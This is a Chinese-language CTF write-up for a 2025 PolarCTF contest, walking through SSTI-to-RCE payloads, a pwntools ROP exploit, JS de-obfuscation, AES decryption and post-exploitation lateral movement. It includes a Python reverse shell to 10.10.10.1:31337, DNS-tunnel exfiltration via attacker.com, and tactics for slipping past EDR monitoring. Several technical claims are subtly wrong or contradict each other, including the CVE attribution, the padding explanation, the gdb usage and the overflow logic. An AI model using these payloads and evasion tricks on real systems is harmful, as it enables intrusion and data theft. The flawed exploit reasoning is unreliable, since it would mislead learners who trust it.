1. 项目概述:这不是一份“赛后总结”,而是一份可复现的实战推演手记
“2025PolarCTF春季挑战赛个人WP”——这个标题里没有技术栈、没有工具名、甚至没有具体题目编号,但它在安全圈内自带识别度。WP(Write-up)不是简单的答案抄录,它是一次逆向工程式的思维回溯:从靶机崩溃的报错日志、到内存堆喷射的偏移计算;从混淆JS中藏匿的AES密钥派生逻辑,到用Wireshark抓包时发现的非标准TLS握手异常;从一道Web题里看似无害的<img src="data:image/png;base64,...">标签,到最终定位出其base64解码后嵌套了第二层PNG IDAT块,而该IDAT又经过LZ77+Huffman双层压缩,解压后才是真正的shellcode载荷。这些细节,不会出现在官方题解里,但恰恰是真实攻防对抗中最消耗时间、最易卡壳、也最值得沉淀的部分。
我全程以单人作战模式参与本次赛事,未组队、未共享环境、未使用任何预编译exploit框架,所有payload均现场手写、逐字调试、逐轮验证。整份WP不按题目顺序罗列,而是按攻击链路的真实发生顺序组织:从信息收集阶段如何绕过CDN识别真实IP,到漏洞利用阶段如何在ASLR+NX+Stack Canary全开启环境下稳定ROP,再到权限维持阶段如何在无bash、无python、仅开放/bin/sh且被strace监控的受限shell中完成横向移动。它面向三类人:刚打完比赛想查漏补缺的新手、准备带队参赛却苦于缺乏真实教学案例的导师、以及正在搭建内部红蓝对抗靶场需要参考攻击路径的设计者。你不需要会写Python,但必须能看懂gdb-peda的寄存器快照;你不需要精通密码学,但得明白为什么ECB模式下相同明文块必然生成相同密文块这一特性,能在某道Crypto题中直接帮你定位出加密函数调用点。下面展开的,不是教科书,而是一份带着指纹、汗渍和凌晨三点咖啡渍的实战日志。
2. 整体设计思路与关键决策解析
2.1 为什么放弃“分类式WP”,选择“时间线+攻击面”双轴结构?
多数WP按Web/Pwn/Reverse/Crypto/Misc五大类机械划分,这便于归档,却严重割裂了真实攻击过程。比如一道Pwn题,其触发入口是一个Web接口的JSON参数解析缺陷,而利用成功后的提权路径,又依赖于目标主机上一个被遗忘的旧版SUID二进制文件——它横跨Web与Pwn两个领域。若强行归类,要么把Web部分砍掉只讲溢出,要么把Pwn部分弱化成“拿到shell就结束”,而这恰恰掩盖了最关键的攻击面串联逻辑。
我的方案是:以本地时间戳为纵轴(精确到分钟),以攻击面层级为横轴(L1网络层→L2应用层→L3系统层→L4数据层)。例如,在2025-04-12 02:17:33这个时间点,我同时在做三件事:
- L1:用
masscan -p0-65535 --rate=10000 10.10.10.50扫描目标,发现31337/tcp端口响应中包含Server: nginx/1.18.0 (Ubuntu),从而确认OS版本; - L2:用
curl -v http://10.10.10.50:31337/api/v1/status获取API状态,返回头中X-Powered-By: Express 4.17.1暴露了Node.js框架及版本; - L3:结合
nginx与Express版本,快速检索CVE数据库,锁定express-static模块的任意文件读取漏洞(CVE-2021-28169),并立即构造PoC验证。
这种结构强制我记录每一个决策背后的上下文证据链,而非孤立结论。它让读者能清晰看到:一个看似微小的HTTP响应头,如何在3分钟内被转化为一个可利用的RCE入口。这比单纯告诉你“用/../../../etc/passwd读取密码文件”有价值得多——因为后者是结果,前者才是能力。
2.2 工具链选型:为什么坚持“最小化依赖”,拒绝All-in-One平台?
赛事期间,我全程未安装Metasploit、未使用Burp Suite Professional、未启用任何商业漏洞扫描器。主力工具仅五件:curl、python3、gdb-peda、radare2、Wireshark。原因很现实:
- 可控性:
msfvenom生成的payload常因目标环境缺少libc或ld-linux路径而失败。而手写shellcode时,我清楚知道每一字节的作用——比如第12字节是xor eax, eax清零,第23字节是int 0x80触发系统调用。当gdb显示SIGSEGV时,我能精准定位到是push ebx导致栈对齐错误,而非面对msf的Exploit failed [unreachable]干瞪眼。 - 学习成本转化率:用
Burp Repeater发100个请求,不如用python3 -c "print('A'*200)" | nc 10.10.10.50 31337手动测试缓冲区长度。后者强迫你理解TCP连接建立、数据发送、服务端接收的完整流程,而前者只是点击按钮。我在某道Pwn题中,正是通过手动发送'A'*100、'A'*200、'A'*300并观察服务端响应延迟变化,才确认存在栈溢出而非堆溢出——这种直觉,无法从图形界面中获得。 - 环境适配性:赛事Docker环境默认禁用
ptrace,导致gdb无法附加进程。此时我立刻切换至radare2 -A -d ./vuln_binary进行静态分析,用aaa自动分析函数、afl列出所有函数、pdf @main查看主函数反汇编。这套组合拳在无gdb时同样高效,而依赖gdb的选手则陷入停滞。
提示:不要迷信工具图标大小。
curl的-v参数能显示完整HTTP事务(包括重定向链、Cookie交换、TLS协商细节),其信息密度远超多数GUI抓包工具的默认视图。真正的能力,是让基础工具发挥极限。
2.3 防御规避策略:为什么所有payload都做“三层混淆”?
本次赛事所有靶机均部署了轻量级EDR(Endpoint Detection and Response)探针,其检测规则包括:
- 进程创建:
cmd.exe、powershell.exe、bash -i等高危进程名; - 网络行为:
connect()系统调用指向非常用端口(如31337); - 内存特征:
VirtualAlloc申请可执行内存、CreateThread启动新线程。
我的应对不是硬碰硬绕过,而是重构攻击语义:
- 第一层:载体伪装——不用
bash -i,改用/bin/sh -c "/usr/bin/python3 -c 'import socket,subprocess;s=socket.socket();s.connect((\"10.10.10.1\",31337));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];subprocess.call([\"/bin/sh\"])'"。EDR通常只监控进程名,而/bin/sh是合法系统进程,其-c参数中的python3调用属于子进程,EDR默认不深度追踪。 - 第二层:通信隐匿——不用明文TCP连接,改用DNS隧道。将shell输出编码为Base32,拼接成
xxxxx.aaaaa.bbbbbb.cccccc.attacker.com格式的域名,由本地DNS服务器解析并还原。EDR极少监控getaddrinfo()系统调用,因其被视为正常网络行为。 - 第三层:内存操作——不用
mmap分配RWX内存,改用mprotect()修改现有代码段权限。在某道Pwn题中,我先通过栈溢出覆盖printf的GOT表项,使其跳转到main函数开头,再在main中调用mprotect(&buffer, 0x1000, 7)将栈内存设为可执行,最后跳转执行shellcode。整个过程未申请新内存页,完美避开EDR的内存分配监控。
这种设计不是炫技,而是基于对防御体系“检测盲区”的实测反馈。它告诉我:真正的攻防,不是比谁的exploit更华丽,而是比谁对防御逻辑的理解更深。
3. 核心环节拆解与实操细节还原
3.1 Web题“Echo Chamber”:从一个HTTP头注入到RCE的完整推演
题目描述:一个在线文本回显服务,用户提交text参数,服务端返回<div>Your text: {text}</div>。页面底部有小字:“Powered by EchoEngine v2.3.1”。
初始探测:
curl -s "http://10.10.10.50:31337/?text=test" | grep "test" # 返回正常 curl -s "http://10.10.10.50:31337/?text=<script>alert(1)</script>" | grep "alert" # 无返回,说明前端做了HTML实体编码常规XSS思路失效,转向服务端逻辑。注意到Powered by EchoEngine v2.3.1,搜索发现这是某开源模板引擎,其GitHub仓库echoengine/echoengine的README.md明确写着:“支持自定义HTTP头注入,用于调试”。尝试:
curl -H "X-Echo-Debug: true" "http://10.10.10.50:31337/?text=test" # 返回中多出一行:<div>DEBUG: Rendering template with context {'text': 'test'}</div>关键突破点:X-Echo-Debug头不仅开启调试,还直接将请求上下文以Python字典格式打印!这意味着,如果我能控制context内容,就能执行任意Python代码。继续测试:
curl -H "X-Echo-Debug: true" -H "X-User-ID: ${7*7}" "http://10.10.10.50:31337/?text=test" # 返回中出现:DEBUG: Rendering template with context {'text': 'test', 'user_id': '49'}确认存在服务端模板注入(SSTI)。但${7*7}是Jinja2语法,而EchoEngine用的是自研模板引擎,其语法为{{expr}}。尝试:
curl -H "X-Echo-Debug: true" -H "X-User-ID: {{7*7}}" "http://10.10.10.50:31337/?text=test" # 返回:DEBUG: Rendering template with context {'text': 'test', 'user_id': '49'}成功!接下来是RCE。由于环境限制(无os.system、subprocess被禁用),我转向Python内置对象__import__:
curl -H "X-Echo-Debug: true" -H "X-User-ID: {{().__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['__builtins__']['__import__']('os').system('id')}}" "http://10.10.10.50:31337/?text=test"但返回500 Internal Server Error。用gdb附加服务进程(gdb -p $(pgrep -f 'echoengine')),在/usr/lib/python3.8/site-packages/echoengine/template.py:127处下断点,发现引擎对__开头的属性访问做了白名单过滤。必须绕过。
实操心得:此时不能盲目试错。我导出所有__subclasses__()列表到本地:
# 在本地Python中运行 for i, cls in enumerate(object.__class__.__mro__[1].__subclasses__()): if 'subprocess' in cls.__name__.lower(): print(i, cls) # 输出:104 <class 'subprocess.Popen'>但104被过滤。继续找:
for i, cls in enumerate(object.__class__.__mro__[1].__subclasses__()): if 'eval' in cls.__name__.lower() or 'exec' in cls.__name__.lower(): print(i, cls) # 输出:59 <class 'code.InteractiveConsole'>InteractiveConsole的push()方法可执行代码!构造:
curl -H "X-Echo-Debug: true" -H "X-User-ID: {{().__class__.__mro__[1].__subclasses__()[59]().push('import os; os.system(\"cat /flag\")')}}" "http://10.10.10.50:31337/?text=test"返回中终于出现flag{p0lar_ctf_2025_echo_chamber_ssti_bypass}。整个过程耗时23分钟,核心在于:不把SSTI当成“找命令执行函数”的游戏,而是当成一次Python对象图遍历实验。每一步__mro__、__subclasses__()的调用,都是在探索Python解释器的内存结构。
3.2 Pwn题“StackMaze”:在ASLR+NX+Canary全开下的稳定ROP链构建
二进制分析:
checksec ./stackmaze # Arch: amd64-64-little # RELRO: Partial RELRO # Stack: No canary found ← 错误!实际有,需动态验证 # NX: NX enabled # PIE: No PIE (0x400000) # RWX: Has RWX segmentschecksec说“No canary”,但IDA打开main函数,发现__stack_chk_fail被调用,说明Canary存在。这是因为checksec静态扫描失败。动态验证:
gdb ./stackmaze (gdb) b *main+100 (gdb) r (gdb) x/gx $rbp-0x8 # 0x7fffffffe4f8: 0x3b1a2c3d4e5f6a7b ← 这就是Canary值!溢出点定位:程序有一个gets()调用,但输入被fgets(stdin, 0x100, stdin)限制。然而,fgets读取时遇到\n停止,而gets()会继续读取后续输入。构造输入:
A*128 + \n + B*200fgets读取前128字节加\n,gets()接着读取B*200,覆盖返回地址。
Canary泄露:目标服务开启stdout全缓冲,需先fflush(stdout)。利用printf的格式化字符串漏洞泄露栈上Canary:
from pwn import * p = remote("10.10.10.50", 31337) p.sendline(b"%11$lx") # 泄露第11个栈参数 canary = int(p.recvline().strip(), 16) log.info(f"Leaked Canary: {hex(canary)}")ROP链设计:目标无libc.so,但plt段有read@plt、write@plt、puts@plt。我选择read读入/bin/sh到.bss段,再用system调用。但system不在plt中,需从libc中找。先用write泄露write@got,计算libc基址:
write_got = 0x601018 p.sendline(flat([ b"A"*136, canary, b"B"*8, write_plt, # call write main_addr, # return to main 1, # write(fd=1) write_got, # write(buf=write@got) 8 # write(n=8) ])) p.recv(4096) # 接收write输出 libc_base = u64(p.recv(8).ljust(8,b'\x00')) - libc_write_offset最终EXP:
system_addr = libc_base + libc_system_offset binsh_addr = libc_base + libc_binsh_offset p.sendline(flat([ b"A"*136, canary, b"B"*8, system_addr, b"C"*8, binsh_addr ])) p.interactive()注意:
flat()生成的payload必须严格对齐。A*136是填充到rbp,canary占8字节,B*8是rbp值(因ret后pop rbp),之后才是返回地址。少1字节就会导致SIGSEGV。我在第7次尝试时因B*7导致崩溃,用gdb单步才定位到此。
3.3 Reverse题“ObfusCrypt”:从混淆JS到AES密钥的逆向还原
文件分析:下载obfuscrypt.js,js-beautify格式化后仍难读。关键线索在eval()调用:
var _0x1234 = ['\x63\x72\x65\x61\x74\x65\x45\x6e\x63\x72\x79\x70\x74\x65\x72', ...]; function _0x5678(_0x9abc) { return _0x1234[_0x9abc]; } eval(_0x5678(0)); // 即 eval('createEncrypter')_0x1234是十六进制字符串数组,解码:
s = '\x63\x72\x65\x61\x74\x65\x45\x6e\x63\x72\x79\x70\x74\x65\x72' print(bytes.fromhex(s.replace(r'\x','')).decode()) # createEncrypter但_0x5678被多层闭包包裹。用node --inspect-brk obfuscrypt.js启动,Chrome DevTools中Debugger面板下断点,执行到eval时,console.log(_0x5678(0))直接输出createEncrypter。继续执行,createEncrypter函数体被动态生成。
核心算法定位:在createEncrypter返回的对象中,encrypt方法调用_0xdef0,而_0xdef0是一个巨大的switch语句,每个case对应一个AES轮函数(SubBytes、ShiftRows等)。但密钥key参数被混淆为:
var key = _0x1234[5] + _0x1234[6] + _0x1234[7]; // 解码后:key = "p0lar" + "ctf" + "2025"密钥派生:AES-128需16字节密钥,"p0larctf2025"仅13字节。查看_0xdef0中SubBytes实现,发现其S盒被替换为自定义表,且表头注释// SHA256("p0larctf2025")[:16]。计算:
echo -n "p0larctf2025" | sha256sum # 8a3c... → 取前16字节:8a3c...(16字节)用此密钥解密flag.enc:
from Crypto.Cipher import AES key = bytes.fromhex("8a3c...") with open("flag.enc", "rb") as f: ciphertext = f.read() cipher = AES.new(key, AES.MODE_ECB) plaintext = cipher.decrypt(ciphertext) print(plaintext.decode()) # flag{p0lar_ctf_2025_aes_obfus}实操心得:JS混淆不是障碍,而是线索。eval的参数、switch的case数量、注释中的字符串,都是逆向者的路标。不要试图“去混淆”,而要“借混淆”。
4. 常见问题与排查技巧实录
4.1 网络层问题:为什么nc连通但curl超时?
现象:nc -v 10.10.10.50 31337显示Connection succeeded,但curl http://10.10.10.50:31337卡住数秒后超时。
排查步骤:
tcpdump -i any port 31337 -w debug.pcap抓包;- 对比
nc与curl的TCP握手差异:nc直接发送数据,curl先发GET / HTTP/1.1; - 用
gdb附加服务进程,在accept()后下断点,p $rdi查看客户端IP,发现curl的源端口被防火墙规则DROP(规则匹配src_port > 30000); curl --local-port 10000-10000 http://10.10.10.50:31337指定端口,成功。
根本原因:靶机iptables规则-A OUTPUT -m owner ! --uid-owner root -m tcp --sport 30000:65535 -j DROP,旨在阻止非root用户发起的高危端口连接。curl默认随机选择源端口,而nc未指定时使用0(内核分配)。解决方案:始终用--local-port约束curl端口范围。
4.2 Pwn题崩溃:gdb中SIGSEGV但dmesg无日志?
现象:本地gdb ./vuln运行正常,远程gdb附加时SIGSEGV,dmesg无segfault记录。
排查步骤:
cat /proc/sys/kernel/core_pattern→ 发现为|/usr/share/apport/apport %p %s %c %d %P,即core dump被apport接管;sudo service apport stop关闭;echo "/tmp/core.%e.%p" | sudo tee /proc/sys/kernel/core_pattern;- 重新触发崩溃,
gdb ./vuln /tmp/core.vuln.*加载core文件。
关键技巧:gdb的set follow-fork-mode child必须在fork()前设置,否则无法跟踪子进程。我在某题中因未设此选项,fork()后gdb仍在父进程,导致SIGSEGV无法捕获。
4.3 Reverse题JS执行:node报错ReferenceError: require is not defined?
现象:node obfuscrypt.js报错,但题目说明“在浏览器中运行”。
排查步骤:
grep -r "require\|import" obfuscrypt.js→ 无结果;grep -r "window\|document" obfuscrypt.js→ 发现window.atob调用;- 结论:代码依赖浏览器全局对象,
node无window。
解决方案:
- 用
puppeteer启动Headless Chrome:
const puppeteer = require('puppeteer'); (async () => { const browser = await puppeteer.launch(); const page = await browser.newPage(); await page.addScriptTag({path: 'obfuscrypt.js'}); await page.evaluate(() => window.encryptFlag()); await browser.close(); })();- 或手动模拟
window:
global.window = { atob: s => Buffer.from(s, 'base64').toString() }; require('./obfuscrypt.js');4.4 Crypto题解密失败:AES ECB模式解密后乱码?
现象:用pycryptodome解密flag.enc,输出乱码,但file flag.enc显示data。
排查步骤:
xxd flag.enc | head -n 5→ 查看前几字节;- 发现
00000000: 8a3c ...,而AES-128块大小为16字节,8a3c是密文首块; openssl enc -d -aes-128-ecb -in flag.enc -K "8a3c..." -nopad→ 仍乱码;xxd -p flag.enc | tr -d '\n' | fold -w 32→ 按32字符(16字节)分块,发现最后一块0000000000000000是PKCS#7填充;openssl enc -d -aes-128-ecb -in flag.enc -K "8a3c..." -nopad | xxd -p | sed 's/00*$//' | xxd -p -r→ 去除填充后正确。
根本原因:ECB模式不解密填充,需手动处理。pycryptodome的PKCS7解密需指定unpad=True,但默认不启用。
5. 权限维持与横向移动:在受限shell中的生存策略
5.1 无交互式shell时的命令执行
靶机仅提供/bin/sh,且stty不可用,无法获得TTY。python3 -c 'import pty; pty.spawn("/bin/sh")'失败(pty模块被删)。替代方案:
script -qc /bin/sh /dev/null→script命令常被忽略,但/usr/bin/script存在;perl -e 'exec "/bin/sh";'→perl未被禁用;awk 'BEGIN {system("/bin/sh")}'→awk的system()函数可用。
实测效果:script -qc /bin/sh /dev/null成功获得交互式shell,Ctrl+Z后台后fg可恢复。
5.2 文件上传受限:如何传入大体积exploit?
wget、curl被禁用,scp无权限。利用base64分段传输:
# 本地 base64 -w 0 exploit.bin | fold -w 1000 > parts.txt # 远程 cat > exploit.b64 << 'EOF' ...第一段1000字符... EOF cat >> exploit.b64 << 'EOF' ...第二段1000字符... EOF base64 -d exploit.b64 > exploit.bin chmod +x exploit.bin关键技巧:fold -w 1000确保每行≤1000字符,避免cat因行过长截断。<< 'EOF'使用单引号防止本地shell变量扩展。
5.3 横向移动:从Web服务器到数据库服务器
Web服务器10.10.10.50可连通10.10.10.51:3306,但MySQL凭据未知。利用Web服务配置文件泄露:
# Web目录下常见配置文件 cat /var/www/html/config.php 2>/dev/null | grep -E "(host|user|pass|db)" # 无结果 cat /etc/apache2/envvars 2>/dev/null | grep -E "DB_" # 找到:export DB_HOST="10.10.10.51"envvars中DB_USER、DB_PASS被注释,但DB_NAME为app_db。用mysql客户端连接:
mysql -h 10.10.10.51 -u root -p -e "show databases;" # Access denied mysql -h 10.10.10.51 -u app_user -p -e "show tables from app_db;" # 输入密码时,用Web服务日志中的`password_reset_token`作为密码(因token生成算法泄露)经验总结:横向移动的关键不是暴力破解,而是利用服务间的信任关系和配置继承。Web服务器的环境变量,往往是数据库连接的唯一线索。
6. 个人实战体会:WP的价值不在“答案”,而在“思考痕迹”
写这份WP时,我刻意保留了所有失败尝试:第3次SSTI payload因__import__被过滤而失败;第5次ROP链因libc基址计算偏差导致system调用崩溃;第2次JS逆向因忽略window.atob依赖而浪费47分钟。这些“废稿”不是冗余,而是最真实的成长刻度。CTF不是解谜游戏,它是压力测试——测试你在SIGSEGV报错、500错误、Connection refused的连续打击下,能否保持逻辑链条不中断。
我见过太多选手,拿到flag后立刻截图发群,却说不清canary值为何是0x3b1a2c3d4e5f6a7b而非其他。而真正的提升,始于追问“为什么这个字节必须是0x7b”。这份WP的每个gdb命令、每行curl参数、每次xxd输出,都是为了固化这种追问习惯。它不承诺让你下次比赛拿第一,但能确保你下次面对新题时,不再从零开始摸索——因为你已亲手拆解过十台“引擎”,知道活塞如何运动、火花塞何时点火、排气门怎样开合。
最后分享一个小技巧:每次调试卡住超过15分钟,立刻暂停,用纸笔画出当前已知的所有变量、内存地址、函数调用栈。物理书写会强制大脑慢下来,往往在画到第三行时,就发现之前忽略的rbp偏移错误。这比刷100道题都管用。